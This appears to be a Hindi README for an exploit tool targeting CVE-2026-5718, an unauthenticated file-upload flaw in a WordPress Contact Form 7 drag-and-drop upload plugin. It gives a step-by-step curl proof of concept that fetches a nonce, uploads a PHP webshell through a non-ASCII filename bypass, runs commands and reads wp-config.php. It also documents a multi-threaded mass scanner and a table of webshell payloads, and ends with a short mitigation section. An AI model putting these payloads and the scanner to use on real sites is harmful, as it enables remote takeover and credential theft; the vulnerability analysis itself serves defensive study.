
CVE-2026-5718: DnD Upload CF7 प्लगइन में अनधिकृत फ़ाइल अपलोड से RCE
CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin
Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug:
drag-and-drop-multiple-file-upload-contact-form-7CVE ID: CVE-2026-5718 CVSS Score: 8.1 (High) CVSS Vector:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hभेद्यता प्रकार: Unauthenticated Arbitrary File Upload → Remote Code Execution प्रभावित संस्करण: <= 1.3.9.6 पैच किया गया संस्करण: 1.3.9.7 जारी तिथि: 17 अप्रैल 2026 शोधकर्ता: Leonid Semenenko (lsemenenko) — Wordfence
Drag and Drop Multiple File Upload for Contact Form 7 प्लगइन में दो स्वतंत्र तर्कदोष मिलकर एक अनधिकृत हमलावर को PHP वेबशेल अपलोड करने की अनुमति देते हैं।
ब्लैकलिस्ट विध्वंस: अनुकूलित ब्लैकलिस्ट कॉन्फ़िगरेशन डिफ़ॉल्ट
खतरनाक एक्सटेंशन सूची को जोड़ने के बजाय पूरी तरह बदल देता है।
php अब अवरुद्ध नहीं होता।
गैर-ASCII बायपास: फ़ाइल नाम में गैर-ASCII वर्णों की उपस्थिति
wpcf7_antiscript_file_name() फ़ंक्शन के कॉल को रोकती है।
.php एक्सटेंशन बरकरार रहता है और फ़ाइल डिस्क पर लिखी जाती है।
| क्षेत्र | मान |
|---|---|
| प्लगइन नाम | Drag and Drop Multiple File Upload for CF7 |
| CVE ID | CVE-2026-5718 |
| CVSS स्कोर | 8.1 (उच्च) |
| भेद्यता प्रकार | Unauthenticated Arbitrary File Upload |
| प्रभावित संस्करण | <= 1.3.9.6 |
| पैच किया गया संस्करण | 1.3.9.7 |
| पूर्व शर्त | CF7 फॉर्म में blacklist-types अनुकूलित कॉन्फ़िगरेशन आवश्यक |
// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
// एकमात्र सुरक्षा: User-Agent में 'curl' जाँच — आसानी से बायपास किया जा सकता है
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// अमान्य nonce → नया nonce लौटाता है
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
wp_ajax_nopriv__wpcf7_check_nonce एक्शन सार्वजनिक है।
जब अमान्य nonce भेजा जाता है, तो नया nonce मुफ्त दिया जाता है।
Mozilla UA के साथ curl जाँच को बायपास किया जाता है।
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 खतरनाक एक्सटेंशन: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ASSIGNMENT (=) — MERGE नहीं
// अनुकूलित सूची: केवल ['zip']
// 'php' अब सूची में नहीं है → स्वीकार किया जाता है
}
ट्रिगर करने वाली फॉर्म टैग कॉन्फ़िगरेशन:
[mfile upload-file filetypes="*" blacklist-types:zip]
एडमिन ZIP को ब्लॉक करना चाहता है → प्लगइन सभी डिफ़ॉल्ट डेनीलिस्ट को हटा देता है।
php सहित सभी खतरनाक एक्सटेंशन अब स्वीकार किए जाते हैं।
इसके अलावा, filetypes="*" के लिए हार्डकोडेड सूची भी अधूरी है:
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' गायब हैं
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// केवल शुद्ध-ASCII फ़ाइल नामों के लिए कॉल किया जाता है
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ shell.php → shell.php.txt बनाता — लेकिन बायपास हो जाता है
}
// यदि गैर-ASCII वर्ण है, तो यह ब्लॉक बायपास हो जाता है
// $filename = "shellシ.php" → .php एक्सटेंशन बरकरार रहता है
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ केवल स्थानीय प्रतिलिपि बदलती है, बाहरी $filename प्रभावित नहीं होता
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // गैर-ASCII वर्ण → false → antiscript बायपास
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (curl नहीं) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce मुफ्त प्राप्त हुआ │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce मान्य ✓ │
│ ├── blacklist=['zip'] → 'php' अवरुद्ध नहीं ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() बायपास किया गया ✓ │
│ └── move_uploaded_file("shellシ.php") → डिस्क पर लिखा गया│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → अनधिकृत RCE ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ अस्वीकरण: यह PoC केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। केवल उन सिस्टम पर उपयोग करें जिनके आप स्वामी हैं या जिनके लिए आपके पास स्पष्ट लिखित प्राधिकरण है।
पूर्व शर्तें:
[mfile] फ़ील्ड blacklist-types के साथ:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
अपेक्षित प्रतिक्रिया:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
अपेक्षित प्रतिक्रिया:
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellシ.php"
}
}
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
# id कमांड
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# wp-config.php पढ़ें
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt
requirements.txt
requests
python dnd_cf7_upload.py -u http://hedef.com
python dnd_cf7_upload.py -u http://hedef.com \
--form-id 1 --field-name upload-file
python dnd_cf7_upload.py -u http://hedef.com \
--shell-type full --verify-cmd "whoami"
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
python dnd_cf7_upload.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
| पैरामीटर | संक्षिप्त | विवरण | डिफ़ॉल्ट |
|---|---|---|---|
--url | -u | एकल लक्ष्य URL | — |
--list | -l | लक्ष्य सूची फ़ाइल | — |
--threads | -t | थ्रेड की संख्या | 10 |
--output | -o | आउटपुट फ़ाइल | rce_results.txt |
--form-id | — | CF7 फॉर्म ID | स्वचालित पहचान |
--field-name | — | mfile फ़ील्ड का नाम | upload-file |
--shell-name | — | शेल फ़ाइल नाम | shell |
--shell-type | — | शेल प्रकार | system |
--verify-cmd | — | RCE सत्यापन कमांड | id |
--proxy | — | प्रॉक्सी URL | — |
--timeout | — | अनुरोध टाइमआउट (सेकंड) | 10 |
--force | — | प्लगइन पहचान विफल होने पर भी जारी रखें | False |
| प्रकार | पेलोड | विवरण |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | मूल सिस्टम कमांड |
passthru | <?php passthru($_GET["cmd"]); ?> | कच्चा आउटपुट |
exec | <?php echo exec($_GET["cmd"]); ?> | मौन निष्पादन |
assert | <?php assert($_POST["cmd"]); ?> | POST के साथ eval |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64 अस्पष्टता |
full | shell_exec + system + exec fallback | पूर्ण कवरेज |
स्कैनर निम्नलिखित वर्णों को क्रम से आज़माता है:
| वर्ण | यूनिकोड | विवरण |
|---|---|---|
シ | U+30B7 | कटाकाना Si (PoC में प्रयुक्त) |
ж | U+0436 | सिरिलिक |
ñ | U+00F1 | लैटिन विस्तारित |
中 | U+4E2D | CJK |
α | U+03B1 | ग्रीक |
ß | U+00DF | जर्मन |
WordPress रूट/
└── wp-content/
└── uploads/
└── wp_dndcf7_uploads/
└── wpcf7-files/
└── <session-uuid>/
└── shellシ.php ← शेल यहाँ
⚠️ नोट: प्लगइन डिफ़ॉल्ट रूप से 1 घंटे के बाद फ़ाइलों को साफ़ करता है। शेल इस अवधि के दौरान सुलभ रहता है।
| स्थिति | विवरण |
|---|---|
★ RCE OK | शेल अपलोड हुआ + कमांड निष्पादित |
★ SHELL ALIVE | शेल सुलभ, भिन्न प्रतिक्रिया |
~ EXEC_DISABLED | शेल मौजूद, exec() बंद |
~ HTACCESS | शेल अपलोड हुआ लेकिन .htaccess बाधा |
? UPLOADED | अपलोड हुआ लेकिन URL नहीं मिला |
- UPL_FAIL | अपलोड विफल (पैच किया गया/कॉन्फ़िगरेशन नहीं) |
~ NO_NONCE | Nonce प्राप्त नहीं हुआ |
- NO_PLUGIN | प्लगइन स्थापित नहीं |
~ UNREACH | लक्ष्य तक पहुँच नहीं |
[*] लक्ष्य : http://hedef.com
[*] फॉर्म ID : स्वचालित पहचान
[*] शेल प्रकार : system
[*] सत्यापन CMD: id
[→] http://hedef.com चरण 1/5: Nonce प्राप्त किया जा रहा है...
[→] http://hedef.com चरण 2/5: CF7 फॉर्म पहचान...
[→] http://hedef.com चरण 3/5: शेल अपलोड हो रहा है (गैर-ASCII बायपास)...
[→] http://hedef.com चरण 4/5: शेल URL बनाया जा रहा है...
[→] http://hedef.com चरण 5/5: RCE सत्यापित किया जा रहा है...
═════════════════════════════════════════════════════════════════
[★ RCE OK ] http://hedef.com
संस्करण : 1.3.9.6
Nonce : abc123def4 (स्रोत: ajax_endpoint)
गैर-ASCII : シ
शेल URL : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
RCE आउटपुट : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════
[+] सहेजा गया → rce_results.txt
| उपाय | कार्यान्वयन |
|---|---|
| प्लगइन अपडेट | संस्करण 1.3.9.7+ में अपग्रेड करें |
| ब्लैकलिस्ट विलय | = के बजाय array_merge() का उपयोग करें |
| बिना शर्त एंटीस्क्रिप्ट | wpcf7_antiscript_file_name() को हमेशा कॉल किया जाना चाहिए |
| Nonce सुरक्षा | Nonce एंडपॉइंट को सार्वजनिक पहुँच से बंद किया जाना चाहिए |
| .htaccess | अपलोड निर्देशिका में PHP निष्पादन अवरुद्ध करें |
सुरक्षित ब्लैकलिस्ट विलय:
// असुरक्षित (वर्तमान — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// सुरक्षित (अनुशंसित — 1.3.9.7+)
$blacklist_types = array_merge(
dnd_cf7_not_allowed_ext(),
explode( '|', $blacklist["$cf7_upload_name"] )
);
बिना शर्त एंटीस्क्रिप्ट:
// असुरक्षित (वर्तमान)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
$filename = wpcf7_antiscript_file_name( $ascii_name );
}
// सुरक्षित (अनुशंसित)
$filename = wpcf7_antiscript_file_name( $filename ); // हमेशा कॉल करें
अपलोड निर्देशिका .htaccess:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-5718-scanner/
├── dnd_cf7_upload.py # मुख्य स्कैनर
├── requirements.txt # निर्भरताएँ
└── README.md # यह फ़ाइल
यह उपकरण और PoC केवल अधिकृत सिस्टमों पर, शैक्षिक उद्देश्यों के लिए और पैठ परीक्षण के दायरे में उपयोग के लिए तैयार किया गया है। बिना अनुमति के सिस्टमों पर इसका उपयोग भारतीय दंड संहिता की धाराएँ 243-245 और अंतरराष्ट्रीय साइबर अपराध कानूनों के तहत अपराध माना जाता है। डेवलपर, उपकरण के दुरुपयोग से उत्पन्न किसी भी कानूनी जिम्मेदारी को स्वीकार नहीं करता है।
MIT License — केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए।